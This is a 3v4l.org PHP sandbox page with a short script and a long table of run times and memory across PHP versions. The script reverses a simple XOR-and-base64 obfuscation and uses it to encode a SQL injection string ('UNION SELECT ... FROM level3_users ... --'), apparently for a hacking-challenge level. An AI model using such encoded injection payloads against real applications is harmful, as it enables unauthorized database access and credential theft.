3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } echo decrypt("MTI5MTY0MTczMTY5MTc0"); print "\n"; function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo encrypt("Admin' UNION SELECT 1,2,3,4,5,6,7 FROM level3_users WHERE user='Admin'--"); print "\n"; print "\n"; ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.40.0000.01519.04
8.3.30.0070.00718.90
8.3.20.0050.00319.08
8.3.10.0030.00521.10
8.3.00.0040.00421.90
8.2.170.0120.00922.96
8.2.160.0090.00920.35
8.2.150.0050.00324.18
8.2.140.0080.00024.66
8.2.130.0000.00726.16
8.2.120.0070.00021.11
8.2.110.0100.00020.29
8.2.100.0060.00618.03
8.2.90.0040.00419.25
8.2.80.0000.00817.97
8.2.70.0080.00017.88
8.2.60.0090.00017.93
8.2.50.0060.00318.07
8.2.40.0050.00318.16
8.2.30.0000.00819.49
8.2.20.0000.00817.95
8.2.10.0040.00417.83
8.2.00.0030.00617.98
8.1.270.0080.00023.99
8.1.260.0040.00426.35
8.1.250.0050.00328.09
8.1.240.0030.00622.65
8.1.230.0080.00320.99
8.1.220.0030.00618.77
8.1.210.0040.00418.98
8.1.200.0090.00017.60
8.1.190.0030.00617.54
8.1.180.0030.00718.10
8.1.170.0000.00818.83
8.1.160.0000.00718.90
8.1.150.0070.00418.86
8.1.140.0030.00617.61
8.1.130.0000.00717.93
8.1.120.0040.00417.65
8.1.110.0040.00417.60
8.1.100.0000.00817.63
8.1.90.0000.00817.69
8.1.80.0000.00717.61
8.1.70.0030.00317.63
8.1.60.0050.00317.75
8.1.50.0040.00417.64
8.1.40.0060.00317.54
8.1.30.0050.00317.72
8.1.20.0000.00817.75
8.1.10.0030.00617.65
8.1.00.0090.00017.68
8.0.300.0030.00620.18
8.0.290.0000.00817.30
8.0.280.0070.00018.37
8.0.270.0000.00817.32
8.0.260.0030.00317.00
8.0.250.0040.00417.18
8.0.240.0060.00617.11
8.0.230.0000.00717.01
8.0.220.0000.00717.10
8.0.210.0000.00917.14
8.0.200.0000.01117.19
8.0.190.0000.00717.04
8.0.180.0040.00417.09
8.0.170.0030.00316.95
8.0.160.0030.00417.04
8.0.150.0040.00417.02
8.0.140.0020.00517.00
8.0.130.0050.00013.49
8.0.120.0040.00416.97
8.0.110.0040.00417.01
8.0.100.0050.00316.97
8.0.90.0030.00517.01
8.0.80.0070.00717.02
8.0.70.0030.00517.02
8.0.60.0040.00417.18
8.0.50.0080.00017.09
8.0.30.0050.01317.15
8.0.20.0110.00917.41
8.0.10.0020.00517.18
8.0.00.0100.00917.06
7.4.330.0030.00316.84
7.4.320.0000.00716.80
7.4.300.0030.00316.66
7.4.290.0000.00716.66
7.4.280.0000.00716.68
7.4.270.0070.00016.80
7.4.260.0000.00513.63
7.4.250.0020.00516.72
7.4.240.0040.00416.70
7.4.230.0030.00516.84
7.4.220.0080.01116.68
7.4.210.0070.01116.75
7.4.200.0000.00716.87
7.4.190.0000.00716.80
7.4.160.0030.01316.76
7.4.150.0140.00717.40
7.4.140.0110.01117.86
7.4.130.0130.00616.86
7.4.120.0130.00416.69
7.4.110.0140.01016.71
7.4.100.0140.00416.65
7.4.90.0150.00316.56
7.4.80.0040.01519.39
7.4.70.0030.01216.68
7.4.60.0100.00716.82
7.4.50.0030.00616.63
7.4.40.0110.00422.77
7.4.30.0100.00716.71
7.4.00.0070.00715.04
7.3.330.0000.00513.50
7.3.320.0060.00013.58
7.3.310.0000.00716.41
7.3.300.0000.00716.59
7.3.290.0100.00516.54
7.3.280.0110.00416.53
7.3.270.0120.00617.40
7.3.260.0060.01218.24
7.3.250.0110.01016.57
7.3.240.0030.01516.88
7.3.230.0120.00616.83
7.3.210.0070.01416.73
7.3.200.0000.01719.39
7.3.190.0030.01316.74
7.3.180.0100.01316.69
7.3.170.0090.01216.77
7.3.160.0130.00616.73
7.3.120.0070.01015.04
7.2.330.0110.00716.89
7.2.320.0070.01116.97
7.2.310.0150.00616.89
7.2.300.0120.00916.84
7.2.290.0120.00616.77
7.2.00.0060.00619.66
7.1.100.0060.00318.52
7.1.70.0000.01017.23
7.1.60.0140.01019.17
7.1.50.0090.01517.18
7.1.00.0000.05322.45
7.0.200.0050.00316.92
7.0.140.0130.06322.05
7.0.90.0300.04320.00
7.0.80.0070.08020.07
7.0.70.0030.08019.89
7.0.60.0100.05320.10
7.0.50.0300.09020.32
7.0.40.0030.05020.07
7.0.30.0100.08020.08
7.0.20.0130.06020.05
7.0.10.0070.06020.14
7.0.00.0030.09320.08
5.6.280.0030.07320.99
5.6.230.0070.04320.75
5.6.220.0130.05320.62
5.6.210.0100.07020.57
5.6.200.0030.08320.94
5.6.190.0030.08321.08
5.6.180.0130.03721.07
5.6.170.0100.07721.02
5.6.160.0070.06020.94
5.6.150.0000.04721.11
5.6.140.0130.05321.05
5.6.130.0070.07021.05
5.6.120.0100.07020.93
5.6.110.0070.07721.05
5.6.100.0070.06321.05
5.6.90.0070.05721.15
5.6.80.0070.05020.35
5.6.70.0130.07320.41
5.6.60.0030.04020.41
5.6.50.0070.07720.34
5.6.40.0100.08020.47
5.6.30.0030.07320.36
5.6.20.0100.07320.42
5.6.10.0030.08720.45
5.6.00.0030.08020.34
5.5.370.0070.08020.46
5.5.360.0100.06320.35
5.5.350.0100.06020.34
5.5.340.0070.08020.89
5.5.330.0070.08020.74
5.5.320.0100.08020.90
5.5.310.0030.04320.79
5.5.300.0130.06320.92
5.5.290.0100.07320.81
5.5.280.0130.04320.93
5.5.270.0070.07720.88
5.5.260.0100.04320.83
5.5.250.0100.05720.74
5.5.240.0130.05320.04
5.5.230.0070.07720.27
5.5.220.0200.04320.22
5.5.210.0170.06320.12
5.5.200.0070.06020.25
5.5.190.0030.07020.29
5.5.180.0070.05320.13
5.5.160.0030.07020.14
5.5.150.0070.08020.18
5.5.140.0100.06720.28
5.5.130.0100.07720.13
5.5.120.0070.04320.07
5.5.110.0070.08020.13
5.5.100.0030.04020.08
5.5.90.0100.03720.07
5.5.80.0030.05020.08
5.5.70.0070.03720.10
5.5.60.0030.04020.08
5.5.50.0030.03720.06
5.5.40.0000.04320.04
5.5.30.0070.04720.05
5.5.20.0000.06020.07
5.5.10.0030.03720.11
5.5.00.0070.03320.13
5.4.450.0130.04719.18
5.4.440.0100.07319.51
5.4.430.0070.06319.50
5.4.420.0000.05319.22
5.4.410.0030.03719.24
5.4.400.0170.06319.11
5.4.390.0070.06019.18
5.4.380.0070.03718.96
5.4.370.0030.08019.13
5.4.360.0070.06019.16
5.4.350.0100.07719.03
5.4.340.0000.04719.23
5.4.320.0100.07318.88
5.4.310.0030.06719.13
5.4.300.0030.03718.93
5.4.290.0030.07718.85
5.4.280.0130.05719.16
5.4.270.0070.07319.04
5.4.260.0070.04019.22
5.4.250.0030.04019.04
5.4.240.0070.05018.93
5.4.230.0070.05319.12
5.4.220.0070.03719.02
5.4.210.0070.03318.84
5.4.200.0000.04319.11
5.4.190.0030.03718.86
5.4.180.0130.03319.11
5.4.170.0000.04018.84
5.4.160.0030.03719.03
5.4.150.0030.03719.06
5.4.140.0030.03716.38
5.4.130.0070.03016.50
5.4.120.0070.03316.48
5.4.110.0000.04016.39
5.4.100.0030.05316.49
5.4.90.0070.05016.48
5.4.80.0000.04016.55
5.4.70.0070.03316.38
5.4.60.0030.03716.34
5.4.50.0030.06016.38
5.4.40.0000.04016.46
5.4.30.0000.03716.44
5.4.20.0030.03716.47
5.4.10.0030.03716.45
5.4.00.0000.04015.87
5.3.290.0030.08014.81
5.3.280.0000.04014.61
5.3.270.0100.03014.75
5.3.260.0100.03314.60
5.3.250.0030.03714.71
5.3.240.0030.03314.73
5.3.230.0000.04714.55
5.3.220.0070.03314.54
5.3.210.0100.03314.57
5.3.200.0070.03714.56
5.3.190.0030.03714.67
5.3.180.0100.06314.68
5.3.170.0100.03014.59
5.3.160.0030.03314.52
5.3.150.0100.03314.61
5.3.140.0000.04314.62
5.3.130.0000.04014.48
5.3.120.0070.03314.56
5.3.110.0030.04014.55
5.3.100.0000.05014.06
5.3.90.0070.03013.95
5.3.80.0030.03714.16
5.3.70.0030.04014.01
5.3.60.0030.03314.07
5.3.50.0030.03714.07
5.3.40.0070.03314.02
5.3.30.0130.03313.84
5.3.20.0070.03313.72
5.3.10.0030.03713.76
5.3.00.0030.03713.72
5.2.170.0070.02713.72
5.2.160.0000.03013.72
5.2.150.0000.03013.72
5.2.140.0030.03013.72
5.2.130.0070.02313.72
5.2.120.0070.02313.72
5.2.110.0030.02713.72
5.2.100.0030.03313.72
5.2.90.0000.02713.72
5.2.80.0030.03013.72
5.2.70.0030.02713.72
5.2.60.0000.03013.72
5.2.50.0030.02313.72
5.2.40.0030.05013.72
5.2.30.0000.03013.72
5.2.20.0070.02013.72
5.2.10.0030.02713.72
5.2.00.0070.02313.72
5.1.60.0070.03013.72
5.1.50.0030.04713.72
5.1.40.0030.05013.72
5.1.30.0100.05013.72
5.1.20.0030.05313.72
5.1.10.0030.05713.72
5.1.00.0000.05313.72
5.0.50.0000.03313.72
5.0.40.0030.04313.72
5.0.30.0030.06713.72
5.0.20.0030.03013.72
5.0.10.0100.01713.72
5.0.00.0000.03713.72
4.4.90.0030.01313.72
4.4.80.0000.01313.72
4.4.70.0030.01313.72
4.4.60.0030.01313.72
4.4.50.0000.01713.72
4.4.40.0000.05313.72
4.4.30.0030.02713.72
4.4.20.0030.03313.72
4.4.10.0030.02013.72
4.4.00.0030.05313.72
4.3.110.0100.00713.72
4.3.100.0070.03013.72
4.3.90.0000.01713.72
4.3.80.0100.04313.72
4.3.70.0000.03013.72
4.3.60.0030.03713.72
4.3.50.0030.02013.72
4.3.40.0000.05313.72
4.3.30.0030.03713.72
4.3.20.0030.03013.72
4.3.10.0070.03313.72
4.3.00.0000.03313.72

preferences:
40.46 ms | 400 KiB | 5 Q